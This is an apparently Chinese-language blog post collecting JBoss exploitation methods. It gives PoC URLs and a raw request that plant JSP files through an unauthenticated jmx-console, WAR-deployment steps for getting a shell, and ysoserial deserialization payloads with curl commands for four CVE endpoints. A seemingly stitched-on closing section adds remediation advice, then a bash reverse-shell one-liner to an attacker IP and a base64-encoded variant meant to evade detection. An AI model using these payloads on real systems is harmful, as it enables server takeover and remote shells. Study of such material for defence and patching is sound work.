JBoss常见漏洞整理

image-20210531233524804

JBoss常见漏洞整理

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

JBoss高危漏洞主要涉及到以下两种。

  • 第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如:CVE-2007-1036CVE-2010-0738,CVE-2006-5750以及void addURL() void deploy() 上传war包。
  • 另一种是利用Java反序列化进行远程代码执行的漏洞,例如:CVE-2015-7501CVE-2017-7504CVE-2017-12149CVE-2013-4810

img

访问控制不严导致的漏洞

CVE-2007-1036CVE-2010-0738,CVE-2006-5750

CVE-2007-1036CVE-2010-0738,CVE-2006-5750 都是利用的一个地方,CVE-2006-5750,CVE-2007-1036是这个地址的两种不同访问方式导致两种未授权访问漏洞,CVE-2010-0738是CVE-2007-1036的绕过。

漏洞页面如下:

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

image-20210531212142400

CVE-2007-1036

poc如下,会生成 http://192.168.10.128:8080/b/b.jsp页面,页面内容是 test

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=b.war&arg1=b&arg2=.jsp&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&arg4=True
CVE-2006-5750

poc如下,会生成http://192.168.10.128:8080/b/b.jsp页面,页面内容是 test

http://192.168.64.129:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=c.war&argType=java.lang.String&arg1=c&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&argType=boolean&arg4=True
CVE-2007-1036

数据包如下,会http://192.168.10.128:8080/b/b.jsp页面,页面内容是test,注意是HEAD请求

HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=a.war&arg1=a&arg2=.jsp&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&arg4=True HTTP/1.1
Host: 192.168.10.128:8080
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=EB1FF2DBD5FAE956570012622CA45C8D
Connection: close


void addURL() void deploy()远程上传war包getshell

这两种都是利用的整个后台的未授权访问,或者弱口令登录后台,然后部署war包,进而getshell

void addURL()

远程上传war访问地址

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

image-20210531230752074

image-20210531230633639

image-20210531230654789

image-20210531230840941

void deploy()

远程上传war包访问地址:

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer

image-20210531231051472

image-20210531231218769

image-20210531231232681

image-20210531231256907

反序列化导致的漏洞

之前爆出来的反序列化漏洞主要有 CVE-2017-7504 CVE-2013-4810 CVE-2015-7501 CVE-2017-12149,但其实利用方式完全一致,都是因为某个接口接收序列化数据后会进行反序列化进而触发反序列化漏洞。

所以这些漏洞payload可以共用一个,只是请求的路径不一样。(网上给出的影响范围并不靠谱,使用vulhub的CVE-2017-7504测试环境,jboss版本为4.0.5,以下四个漏洞全部测试成功,所以并不能单纯靠看版本号来确定是不是存在漏洞)

利用方式如下:

生成payload
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > 1.ser

# CVE-2017-7504
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
# CVE-2013-4810
curl http://your-ip:8080/invoker/EJBInvokerServlet --data-binary @1.ser
# CVE-2015-7501
curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser
# CVE-2017-12149
curl http://your-ip:8080/invoker/readonly --data-binary @1.ser

image-20210531183703127

每次请求后都能生成一个success文件

image-20210531183217369

可根据页面来简单判断是否存在漏洞,分别访问这四个页面:

/jbossmq-httpil/HTTPServerILServlet

image-20210531232527134

/invoker/EJBInvokerServlet

image-20210531232637970

/invoker/JMXInvokerServlet

image-20210531232728267

/invoker/readonly

image-20210531232826437

用vulhub搭建CVE-2017-12149漏洞环境,用脚本验证 发现除 /jbossmq-httpil/HTTPServerILServlet 外其他三个漏洞皆利用成功

image-20210531185955149

访问地址 发现这个页面不存在

image-20210531190217911

在这里插入图片描述

### JBoss漏洞列表及其修复方案 #### 1. JBoss JMXInvokerServlet 反序列化漏洞 (CVE-2015-7501) 该漏洞允许远程攻击者通过发送特制请求到 `JMXInvokerServlet` 来执行任意代码。这是由于未对传入数据进行充分验证而导致的反序列化问题[^1]。 ##### **修复方案** - 升级至最新的 JBoss 版本,其中已修补此漏洞。 - 如果无法立即升级,则可以通过禁用 `JMXInvokerServlet` 或将其从部署中移除来缓解风险[^2]。 --- #### 2. Web 错误页面信息泄露 当服务器返回 HTTP 响应状态码(如 404、500)时,可能会暴露敏感信息,例如绝对路径、WebServer 版本号以及部分源代码片段或 SQL 查询语句等内容[^3]。 ##### **修复方案** - 配置自定义错误页面以隐藏默认错误消息中的敏感细节。 - 使用统一化的错误提示信息替代原始堆栈跟踪或其他调试信息。 - 对应用程序日志记录功能进行审查并确保不会无意间存储过多隐私数据。 --- #### 3. 密码明文传输 某些情况下,默认配置可能导致密码未经加密即在网络上传输,从而增加了被窃听的风险。 ##### **修复方案** - 启用 SSL/TLS 加密连接以保护通信链路的安全性。 - 修改相关组件设置使其支持更强大的身份认证机制而非简单依赖于纯文本形式传递凭证资料。 --- #### 4. Apache JServ Protocol 安全隐患 尽管主要针对 Tomcat 而言,但如果 JBoss 和它集成在一起工作的话也可能受到影响。具体表现为如果开启了不必要的协议选项(比如 AJP),则可能引入额外威胁向量[^4]. ##### **修复措施** - 编辑 `$TOMCAT_HOME/conf/server.xml`,找到 `<Connector>` 标签下对应AJP端口的部分并将之注释掉或者调整其属性值使之不可访问外部网络. ```xml <-- 注释掉以下行 --> <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> --> ``` --- #### 5. RCE 漏洞利用示例 以下是关于如何生成用于测试目的的有效载荷的一个例子: ```bash bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1 ``` 另外还有 Base64 编码方式绕过基本检测手段的方法如下所示: ```bash bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjQ1LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ``` 请注意,在实际环境中切勿随意尝试上述命令以免违反法律法规造成损害[^5]! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值